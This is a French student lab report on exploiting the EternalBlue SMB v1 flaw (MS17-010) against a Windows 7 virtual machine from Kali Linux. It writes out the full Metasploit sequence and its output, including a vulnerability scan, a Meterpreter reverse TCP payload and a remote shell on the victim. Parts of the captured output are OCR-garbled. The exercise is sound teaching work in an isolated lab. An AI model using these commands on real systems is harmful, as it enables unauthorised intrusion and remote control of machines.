[Tapez le résumé du document ici. Il s'agit généralement d'une courte synthèse du document.]

Vulnérabilit é système exploitation Windows

Exploitation de la faille SMB v1 (eternal blue MS17-010)

BRIEUC LE_FAUCHEUR

Introduction : explication faille eternablue :

Déroulement du TP : Machines virtuelles fournies : -Machine victime W7 Pro



-Distribution Kali Linux

- 0 Adressage IP Machine attaquant
- 1 Ping vers IP Victime
- 2 Se connecter en tant que root
- 3 Scan vulnérabilité système exploitation victime
- 4 –

Se connecter en tant que root, scan la machine victime (penser a Ping la machine victime pour voir si elle est allumée) Port et faille d'exploitation (pour hacker)

Ouvrir l'invite de commande et lancer cette commande

- Nmap – A – sV – script vuln 192.168.0.212

« nmap » sert à chercher les ports ouvert

« vuln » cherche les faille de systèmes d'exploitation

"Hosts script results " montre les failles trouvé. A partir du moment où il dit Vulnerable, alors on pourra l'exploiter

Après cela on peut s'occuper de la faille, lancer la console d'exploitation

- msfconsole

On veut maintenant entrer dans la cible

search ms17-010

(en faisant cela il affiche les solutions pour exploiter au mieux la faille) Tout ce qui il a marqué en normale sa fonctionne (mais faudra lancer des lignes de codes) si il affiche average en 2 secondes c'est plié

- use O

(0 car c'est le raccourci de la ligne de commande pour faire la commande) a partir de la il faut entrer l'adresse de celui qu'ont veux hacker

- set RHOST 192.168.0.212

Ensuite il faut vérifier l'adresse

show options

LHOST (c'est l'adresse de KALI)

- run

cette commande lance la ligne de commande (si il affiche WIN c'est que on a réussi)

shell

pour utiliser l'invite de commande de la machine victime

- cd admin / cd Desktop / cd
- exit (pour revenir au terminal Linux)

Une fois après avoir installé et paramétrer sa machine Linux Kali,

la première étape est de tester le Ping avec « ping 8.8.8.8 » et Ping la machine victime qui en l'occurrence est W7 PRO avec un Ping « ping 192.168.0.212 »

```
ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=111 time=9.05 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=111 time=8.88 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=111 time=8.81 ms
^C

    — 8.8.8.8 ping statistics —

3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 8.806/8.911/9.048/0.101 ms
   ping 192.168.0.212
PING 192.168.0.212 (192.168.0.212) 56(84) bytes of data.
64 bytes from 192.168.0.212: icmp_seq=1 ttl=128 time=0.406 ms
64 bytes from 192.168.0.212: icmp_seq=2 ttl=128 time=0.138 ms
64 bytes from 192.168.0.212: icmp_seq=3 ttl=128 time=0.162 ms
64 bytes from 192.168.0.212: icmp_seq=4 ttl=128 time=0.158 ms
^C

    — 192.168.0.212 ping statistics

4 packets transmitted, 4 received, 0% packet loss, time 3074ms
rtt min/avg/max/mdev = 0.138/0.216/0.406/0.110 ms
```

La deuxième étape est de Scanner les différentes vulnérabilités de la machine victime avec la commande « nmap – A – sV – script vuln 192.168.0.212 »



Cette commande permet de chercher les ports ouverts et les failles des systèmes d'exploitation.

La troisième étape : est le lancement du script et l'analyse de la réponse,

Pour se faire il suffit de lancer la commande « msfconsole » voilà ce qu'affiche la commande :



Avec l'image ci-dessous on peut observer qu'il y a 2196 exploits – 1162 auxiliary – 400 post

La cinquième étape : consiste à lancer la procédure d'exploitation de la machine victime

Pour se faire il faut entrer la commande dans le terminal linux : « search ms17-010 » voilà ce que la commande affiche :

<u>msf6</u> > search ms17-010				
Matching Modules				
# Name	Disclosure Date	Rank	Check	Description
<pre>0 exploit/windows/smb/ms17_010_eternalblue nel Pool Corruption</pre>	2017-03-14	average	Yes	MS17-010 EternalBlue SMB Remote Windows Ker
1 exploit/windows/smb/ms17_010_psexec	2017-03-14	normal	Yes	MS17-010 EternalRomance/EternalSynergy/Eter
2 auxiliary/admin/smb/ms17_010_command palChampion_SMB_Remote_Windows_Command_Executio	2017-03-14	normal	No	MS17-010 EternalRomance/EternalSynergy/Eter
3 auxiliary/scanner/smb/smb_ms17_010		normal	No	MS17-010 SMB RCE Detection
4 exploit/windows/smb/smb_doublepulsar_rce	2017-04-14		Yes	SMB DOUBLEPULSAR Remote Code Execution
Interact with a module by name or index. For ex	ample info 4, use			
<u>msf6</u> >				

En faisant cela il affiche les solutions pour exploiter au mieux la faille) Tout ce qui il a marqué en normale sa fonctionne (mais faudra lancer des lignes de codes) si il affiche average en 2 secondes c'est plié

Une fois cela fait il faut lancer 0 car c'est le raccourci de la commande eternal blue, on lance donc la commande « use 0 »



Une fois avoir lancé la commande il faut renseigner l'adresse IP de la machine victime avec la commande « set RHOST 192.168.0.212 » la commande affiche ceci :

```
msf6 exploit(windows/smb/ms17_010_cternalblue) > set RHOST 192.168.0.212
RHOST ⇒ 192.168.0.212
msf6 exploit(windows/smb/ms17_010_cternalblue) >
```

Pour vérifier l'adresse IP de kali linux au cas ou il faut entrer la commande « show options

»			
<pre>msf6 exploit(win</pre>	dows/smb/ms17_	010_eterm	ilblue) > show options
Module options (exploit/window	vs/smb/ms17	/_010_eternalblue):
Name	Current Sett	ing Requi	ired Description
RHOSTS	192.168.0.21	l2 yes	— — — — — — — — — — — — — — — — — — —
RPORT	445	ves	The target port (TCP)
SMBDomain		no	(Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass		no	(Optional) The password for the specified username
SMBUser		no	(Optional) The username to authenticate as
VERIFY_ARCH	true	yes	Check if remote architecture matches exploit Target. Only affects Windows Ser ver 2008 R2. Windows 7. Windows Embedded Standard 7 target machines.
VERIFY_TARGET	true	yes	Check if remote OS matches exploit Target. Only affects Windows Server 2008 R 2, Windows 7, Windows Embedded Standard 7 target machines.
Payload options	(windows/x64/m	neterpreten Required	:/reverse_tcp): Description
EXITFUNC thr LHOST 192 LPORT 444	ead .168.0.196 4	yes yes yes	Exit technique (Accepted: '', seh, thread, process, none) The listen address (an interface may be specified) The listen port
Exploit target:			
Id Name			
0 Automatic	Target		
msf6 exploit(win	dows/smb/ms17	010_etern	lbine) >

Dans ce screen on peut donc voir l'IP de la machine avec LHOSTS : 192.168.0.196

cd.. (jusqu'à aller dans le disque C > cd users > cd admin > cd BTS > dir

Et enfin pour lancer l'attaque il suffit juste de lancer la commande « run » ! l'attaque peut prendre un peu de temp en fonction de la puissance matérielle de la machine de Kali Linux La commande affiche ceci :

<u>msf6</u> exploit(windows/smb/ms17_010_eternalblue) > run
<pre>msf6 exploit(windows/smb/ns17_010_cterns1010e) > run (*) Started reverse TCP handler on 192.168.0.196:4444 (*) 192.168.0.212:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check (*) 192.168.0.212:445 - Host is likely VULKRABLE to KS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit) (*) 192.168.0.212:445 - Scanned 1 of 1 hosts (100% complete) (*) 192.168.0.212:445 - Connecting to target for exploitation. (*) 192.168.0.212:445 - CORE raw buffer dump (42 bytes) (*) 192.168.0.212:445 - 0x0000000 57 69 66 64 6f 77 73 20 37 20 59 72 6f 66 65 73 Windows 7 Profes (*) 192.168.0.212:445 - 0x0000000 57 69 66 66 16 62 03 73 06 30 12 053 65 72 76 sional 7601 Serv (*) 192.168.0.212:445 - 0x0000000 57 69 66 66 16 62 03 73 06 30 12 053 65 72 76 sional 7601 Serv (*) 192.168.0.212:445 - Target arch selected valid for arch indicated by DCE/RPC reply (*) 192.168.0.212:445 - Target arch selected valid for arch indicated by DCE/RPC reply (*) 192.168.0.212:445 - Target arch selected valid for arch indicated by DCE/RPC reply (*) 192.168.0.212:445 - Target arch selected valid for arch indicated by DCE/RPC reply (*) 192.168.0.212:445 - Starting non-paged pool grooming (*) 192.168.0.212:445 - Starting non-paged pool grooming (*) 192.168.0.212:445 - Starting SMBV1 connection creating free hole adjacent to SMBv2 buffer. (*) 192.168.0.212:445 - Ecoing SMBV 2 buffers. (*) 192.168.0.212:445 - Sending final SMBv2 buffers. (*) 192.168.0.212:445 - Sending gg to corrupted connection. (*) 192.168.0.212:445 - Sending egg to corrupted connection. (*) 192.168.0.212:445 - Sending egg to corrupted buffer. (*) 192.168.0.212:4</pre>
[*] Meterpreter session 1 opened (192.168.0.196:4444 → 192.168.0.212:49166) at 2023-12-08 12:41:46 +0100
[+] 192.168.0.212:445 - =-=-==============================
[+] 192.108.0.212:445 - =-=-==============================
<u>meterpreter</u> >

On peut voir qu'elle affiche WIN, cela veut donc dire que l'attaque a réussi, on lance donc la commande « shell » qui permet d'utiliser l'invite de commande de la machine victime (donc la W7 Pro).



Sur le screen on peut bien apercevoir que on est en « C:\Windows\system32> » On est donc bien dans la machine victime !

Nous allons donc maintenant procéder a plusieurs attaque précise, la première sera de faire une copie d'écran de la machine victime